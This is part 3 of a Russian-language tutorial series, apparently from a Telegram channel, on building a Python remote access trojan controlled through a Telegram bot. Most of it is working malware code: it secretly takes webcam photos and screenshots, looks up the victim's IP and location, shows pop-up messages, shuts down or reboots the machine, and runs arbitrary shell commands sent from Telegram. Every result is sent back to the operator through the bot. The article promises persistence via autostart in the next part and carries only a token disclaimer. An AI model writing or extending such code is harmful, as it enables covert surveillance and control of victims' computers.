Пишем RAT на Python. 3 Часть.

Пишем RAT на Python. 3 Часть.

BLACK CODE

Создание RAT с управлением через Telegram. Часть 3.

BLACK CODE. Авторский контент.

Всем привет! Это канал BLACK CODE. Мы уже почти на финише создания нашей КРЫСЫ. Читайте далее.



Первая часть

Вторая часть

Новые библиотеки

В новой версии у нас появились новые библиотеки — cv2, subprocess и модуль system из os.

Начнём с cv2

CV2

OpenCV на нужна исключительно для доступа к веб-камере.

Установка

Windows:

pip install opencv-python

Linux:

sudo apt-get install libopencv-dev python-opencv

Разберёмся с функциями, которые нам нужны

import cv2 # Импорт библиотеки


cam = cv2.VideoCapture(0) # Включение основной камеры
s, cam_img = cam.read() # Снимок
cv2.imwrite("cam.bmp", cam_img) # Сохранение снимка
cam.release() # Отключаем камеру

cam_img = open('cam.bmp', 'rb') # Открываем снимок для отправки
bot.send_photo(user_id, cam_img) # Отправляем фото

cam_img.close() # Закрываем снимок
os.remove('cam.bmp') # Удаляем снимок

В принципе, всё довольно просто.

subprocess

Subprocess входит в стандартную библиотеки пайтона, поэтому устанавливать его не нужно.

Subprocess мы будем использовать, чтобы исполнять системные команды.

У нас это будет реализовано так — если пользователь ввёл то, на что не кнопки, то ратник пытается это выполнить в консоли.

От subprocess нам много не надо

import subprocess # Импорт библиотеки

# Пробуем выполнить команду
try: 
    output = subprocess.check_output(message.text, shell=True) # Выполнение команды
    output = str(output) # Результат выполнения в строку
    # Срезаем лишние символы
    output = output[2:]
    output = output[:-1]
    bot.send_message(user_id, output) # Отправляем сообщение с результатом
except: # Если ошибка, то...
    pass # Заглушка, то есть ничего не делаем

Тут всё крайне просто, не будет на этом заострять внимание.

os.system

os.system нам нужен тоже, чтобы выполнять команды в консоли, но он более просто через subprocess.

Дело в том, что check_output из subprocess выдаёт ответ в переменную, что нам и нужно.

А os.system просто выполняет, выдавая результат только в консоли.

os.system нам нужен для выполнения простых/заготовленных системных команд.

from os import system # Импорт модуля из библиотеки os


os.system('echo "123"') # Выполнения команды "echo"
# В консоли должно вывести "123"

Тут поймёт даже ребёнок :)

Изменения

Сейчас пройдёмся по основным изменениям.

Я добавил новые кнопки в функцию start_message

keyboard = telebot.types.ReplyKeyboardMarkup() # Создание клавиатуры
# Добавление кнопок в клавиатуру
keyboard.add('Получить IP', 'Скриншот Экрана')
keyboard.add('Фото с Камеры', 'Сообщение')
keyboard.add('Выключить Компьютер', 'Перезагрузить компьютер')
keyboard.add('/help')

Сделал отдельную функцию для обработки команды /help

# Если была введена /help
@bot.message_handler(commands=['help'])
def help_message(message):
 if str(message.chat.id) == user_id: # Если id пользователя = id админа, то...
  help_mess = '''Нажимайте на кнопки, чтобы выполнить команды.
Если введёте ту команду, которой нет, то она выполнится в консоли.'''
  bot.send_message(user_id, help_mess) # Бот отправляет help текст
 else: # Если id пользователя не = id админа, то...
  # Бот говорит, что этот бот не для тебя
  bot.send_message(message.chat.id, 'Sorry, but that bot not for you :)')

И, конечно, добавил новый функционал в основную функцию

# Если был отправлен просто текст
@bot.message_handler(content_types=['text'])
def text_message(message):
 if str(message.chat.id) == user_id: # Если id пользователя = id админа
  if message.text == 'Получить IP': # Если текст = Получить IP, то...
   # Берём IP пользователя
   target_ip = requests.get('https://ip.42.pl/raw').text
   # Отправляем нам IP пользователя
   bot.send_message(user_id, target_ip)
   # Берём json из ссылки на информацию по IP
   json = requests.get('https://ipinfo.io/' + target_ip + '/json').json()
   # Если локация есть в джсоне, то
   if 'loc' in json:
    loc = json['loc'] # Записываем локацию в переменную
    loc = loc.split(',') # Разделяем локацию по запятой
    # Отправляем локацию пользователя в виде GoogleMaps
    bot.send_location(user_id, float(loc[0]), float(loc[1]))
  elif message.text == 'Фото с Камеры':
   try: # Пытаемся получить фото с камеры
    # Включаём основную камеру
    cam = cv2.VideoCapture(0)
    # "Прогреваем" камеру, чтобы снимок не был тёмным
    for _ in range(100):
     cam.read()
    # Делаем снимок
    s, img = cam.read()
    # Сохраняем снимок
    cv2.imwrite('img.bmp', img)
    # Отключаем камеру
    cam.release()
    # Открываем снимок
    cam_img = open('img.bmp', 'rb')
    # Отправляем нам снимок
    bot.send_photo(user_id, cam_img)
    # Закрываем и удаляем снимок
    cam_img.close()
    os.remove('img.bmp')
   except: # Если произошла ошибка
    bot.send_message(user_id, 'Ошибка! У пользователя нет камеры!')
  elif message.text == 'Скриншот Экрана': # Если текст = Скриншот Экрана, то..
   # Делаем скриншот
   screen = ImageGrab.grab()
   # Бот отправляет нам скриншот
   bot.send_photo(user_id, screen)
  elif message.text.startswith('Сообщение'): # Если текст начинается с "Сообщение"
   if message.text == 'Сообщение' or (len(message.text) > 9 and message.text[9] != ' '): # Если текст = Сообщение
    bot.send_message(user_id, 'Вы должны написать так - Сообщение <Текст>\nПример: Сообщение From BLACK CODE With Love<3')
   else: # Если текст не = Сообщение
    try: # Пробуем отправить сообщение и сделать скриншот
     # Делаем сообщение из команды пользователя
     message = message.text.replace('Сообщение ', '')
     command = 'msg * ' + message
     # Отправляем сообщение
     os.system(command)
     # Делаем скриншот
     screen = ImageGrab.grab()
     # Отправляем скриншот и текст
     bot.send_message(user_id, 'Готово!')
     bot.send_photo(user_id, screen)
    except: # Если произошла ошибка...
     bot.send_message(user_id, 'Неизвестная ошибка!')
  elif message.text == 'Выключить Компьютер': # Если текст = Выключить Компьютер
   bot.send_message(user_id, 'Компьютер Выключен!\nБот не будет работать')
   os.system('shutdown /s /t 1') # Команда для выключения компьютера
  elif message.text == 'Перезагрузить Компьютер': # Если текст = Перезагрузить Компьютер
   bot.send_message(user_id, 'Компьютер перезагружается...')
   os.system('shutdown /r /t 1') # Команда для перезагрузки компютера
  else: # Если текст != командам, то текст выполняете в коносли
   try: # Пытаемся выполнить и отправить текст
    output = subprocess.check_output(message.text, shell=True)
    output = str(output)
    output = output[2:]
    output = output[:-1]
    bot.send_message(user_id, output)
   except: # Если произошла ошибка
    pass # Заглушка
 else: # Если id пользователя не = id админа, то..
  # Бот говорит, что данный бот не для тебя
  bot.send_message(message.chat.id, 'Sorry, but that bot not for you :)')

Можете рассмотреть поближе эти функции, ведь там есть комментарии, НО, не нужно копировать отсюда себе, в конце статьи я выложу код на pastebin, там можно копировать, ведь там сохранена табуляция.

Тестирование ратника

"Выключить Компьютер" и "Перезагрузить Компьютер" я тестировать при вас не стал, но они работают :).

Полный код

Не стоит копировать код из Telegraph'а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.

Так что, вот код, я его выложил на pastebin, с него копировать можно.

КОД НА PASTEBIN (КЛИКАБЕЛЬНО)

Спасибо за помощь - @Bekhsdev



На этом всё. Теперь функционал уже более менее нормальный. В следующей части мы добавим добавления ратника в автозагрузку и другие системные фишки.

BLACK CODE, чернее только Vantablack.

Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.


Канал: BLACK CODE

Литература Хакера: @archivehacker

Лучший обменник криптовалюты в Telegram: Chatex

Админ: @blackcode_admin

Report Page